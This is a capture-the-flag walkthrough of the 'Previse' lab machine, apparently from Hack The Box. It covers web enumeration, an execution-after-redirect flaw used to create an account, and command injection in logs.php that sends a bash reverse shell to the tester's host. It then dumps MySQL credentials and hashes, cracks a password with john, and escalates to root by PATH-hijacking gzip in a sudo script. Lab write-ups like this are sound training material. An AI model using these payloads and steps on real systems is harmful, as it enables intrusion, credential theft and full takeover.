Previse
Recon
HTTP (80)
└─$ feroxbuster -u 'http://10.129.95.185/' -w /usr/share/seclists/Discovery/Web-Content/common.txt -I .css,.png -x .php
302 GET 0l 0w 0c http://10.129.95.185/logout.php => login.php
302 GET 71l 164w 2801c http://10.129.95.185/index.php => login.php
302 GET 93l 238w 3994c http://10.129.95.185/accounts.php => login.php
302 GET 112l 263w 4914c http://10.129.95.185/files.php => login.php
302 GET 81l 210w 3441c http://10.129.95.185/file_logs.php => login.php
200 GET 1l 1w 263c http://10.129.95.185/site.webmanifest
302 GET 74l 176w 2966c http://10.129.95.185/status.php => login.php
302 GET 71l 164w 2801c http://10.129.95.185/ => login.php
200 GET 0l 0w 0c http://10.129.95.185/config.php
302 GET 0l 0w 0c http://10.129.95.185/download.php => login.php
200 GET 5l 14w 217c http://10.129.95.185/footer.php
200 GET 20l 64w 980c http://10.129.95.185/header.php
302 GET 0l 0w 0c http://10.129.95.185/logs.php => login.php
200 GET 53l 138w 2224c http://10.129.95.185/login.php
200 GET 31l 60w 1248c http://10.129.95.185/nav.phpExecution After Reading
When we visit /files.php it redirects to /login.php right away, but the content is rendered and then we are redirected.
<td><a href='download.php?file=32'><button class="uk-button uk-button-text">siteBackup.zip</button></a></td>We can't download the file, it returns empty response. But we might be able to create a user on /accounts.php
└─$ curl http://10.129.95.185/accounts.php -x http://127.0.0.1:8080
<form role="form" method="post" action="accounts.php">
<div class="uk-margin">
<div class="uk-inline">
<span class="uk-form-icon" uk-icon="icon: user"></span>
<input type="text" name="username" class="uk-input" id="username" placeholder="Username">
</div>
</div>
<div class="uk-margin">
<div class="uk-inline">
<span class="uk-form-icon" uk-icon="icon: lock"></span>
<input type="password" name="password" class="uk-input" id="password" placeholder="Password">
</div>
</div>
<div class="uk-margin">
<div class="uk-inline">
<span class="uk-form-icon" uk-icon="icon: lock"></span>
<input type="password" name="confirm" class="uk-input" id="confirm" placeholder="Confirm Password">
</div>
</div>
<button type="submit" name="submit" class="uk-button uk-button-default">CREATE USER</button>
</form>└─$ curl http://10.129.95.185/accounts.php -d 'username=test02&password=test02&confirm=test02&submit=1' -x http://127.0.0.1:8080
<div class="uk-alert-success" uk-alert><a class="uk-alert-close" uk-close></a><p>Success! User was added!</p></div></p>We are now able to login
Command Injection
Download the backup and unzip
└─$ unzip siteBackup.zip -d backup
Archive: siteBackup.zip
inflating: backup/accounts.php
inflating: backup/config.php
inflating: backup/download.php
inflating: backup/file_logs.php
inflating: backup/files.php
inflating: backup/footer.php
inflating: backup/header.php
inflating: backup/index.php
inflating: backup/login.php
inflating: backup/logout.php
inflating: backup/logs.php
inflating: backup/nav.php
inflating: backup/status.phplogs.php is vulnerable to Command Injection
Reverse Shell (www-data)
└─$ curl http://10.129.95.185/logs.php -b 'PHPSESSID=r83rhk1eof9ap5mnl9j9ft6ahh' --data-urlencode 'delim=;bash -c "/bin/bash -i >& /dev/tcp/10.10.14.113/4444 0>&1"'
---
└─$ pwncat-cs -lp 4444
(remote) www-data@previse:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)(remote) www-data@previse:/var/www/html$ cat config.php
<?php
function connectDB(){
$host = 'localhost';
$user = 'root';
$passwd = 'mySQL_p@ssw0rd!:)';
$db = 'previse';
$mycon = new mysqli($host, $user, $passwd, $db);
return $mycon;
}
?>
(remote) www-data@previse:/var/www/html$ mysql -u root -p'mySQL_p@ssw0rd!:)' previse -e 'SHOW DATABASES;'
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| previse |
| sys |
+--------------------+
(remote) www-data@previse:/var/www/html$ mysql -u root -p'mySQL_p@ssw0rd!:)' previse -e 'SHOW TABLES;'
+-------------------+
| Tables_in_previse |
+-------------------+
| accounts |
| files |
+-------------------+
(remote) www-data@previse:/var/www/html$ mysql -u root -p'mySQL_p@ssw0rd!:)' previse -e 'SELECT * FROM accounts;'
+----+----------+------------------------------------+---------------------+
| id | username | password | created_at |
+----+----------+------------------------------------+---------------------+
| 1 | m4lwhere | $1$🧂llol$DQpmdvnb7EeuO6UaqRItf. | 2021-05-27 18:18:36 |
| 2 | test02 | $1$🧂llol$YHjta6Fm/4I4osf2u/W0K0 | 2024-12-12 19:44:18 |
+----+----------+------------------------------------+---------------------+
(remote) www-data@previse:/var/www/html$ mysql -u root -p'mySQL_p@ssw0rd!:)' previse -e 'SELECT id,name,user,size FROM files;'
+----+----------------+--------+------+
| id | name | user | size |
+----+----------------+--------+------+
| 32 | siteBackup.zip | newguy | 9948 |
+----+----------------+--------+------+It's weird how emoji is used for salt....
(remote) www-data@previse:/var/www/html$ grep password . -Rain
./accounts.php:56: $hash = crypt($password, '$1$🧂llol$');➜ .\john-1.9.0-jumbo-1-win64\run\john.exe --wordlist=.\rockyou.txt .\hashes
.Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-opencl"
Use the "--format=md5crypt-opencl" option to force loading these as that type instead
..Nothing
➜ .\john-1.9.0-jumbo-1-win64\run\john.exe --wordlist=.\rockyou.txt --format=md5crypt-long .\hashes
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt-long, crypt(3) $1$ (and variants) [MD5 32/64])
ilovecody112235! (?)
1g 0:00:07:30 DONE (2024-12-13 00:13) 0.002219g/s 16454p/s 16454c/s 16454C/s ilovecoke95..ilovecody*SSH (22)
└─$ sshpass -p 'ilovecody112235!' ssh m4lwhere@10.129.95.185
m4lwhere@previse:~$ id
uid=1000(m4lwhere) gid=1000(m4lwhere) groups=1000(m4lwhere)User.txt
m4lwhere@previse:~$ cat user.txt
9a869865c2a75e2f1f3c38b5aa310318Privilege Escalation
m4lwhere@previse:~$ sudo -l
User m4lwhere may run the following commands on previse:
(root) /opt/scripts/access_backup.shm4lwhere@previse:~$ cat /opt/scripts/access_backup.sh
#!/bin/bash
# We always make sure to store logs, we take security SERIOUSLY here
# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time
gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gzEnv is not reset so we can hijack the gzip binary
m4lwhere@previse:~$ echo $'#!/bin/bash\ninstall -m4777 /bin/bash /tmp/rootbash' > /tmp/gzip
m4lwhere@previse:~$ chmod +x /tmp/gzip
m4lwhere@previse:~$ sudo PATH="/tmp:$PATH" /opt/scripts/access_backup.sh
m4lwhere@previse:~$ ls -lh /tmp/rootbash
-rwsrwxrwx 1 root root 1.1M Dec 12 20:18 /tmp/rootbash
m4lwhere@previse:~$ /tmp/rootbash -p
rootbash-4.4# id
uid=1000(m4lwhere) gid=1000(m4lwhere) euid=0(root) groups=1000(m4lwhere)Root.txt
rootbash-4.4# cat /root/root.txt
928c57391df727fabf52e0eed5192b83Last updated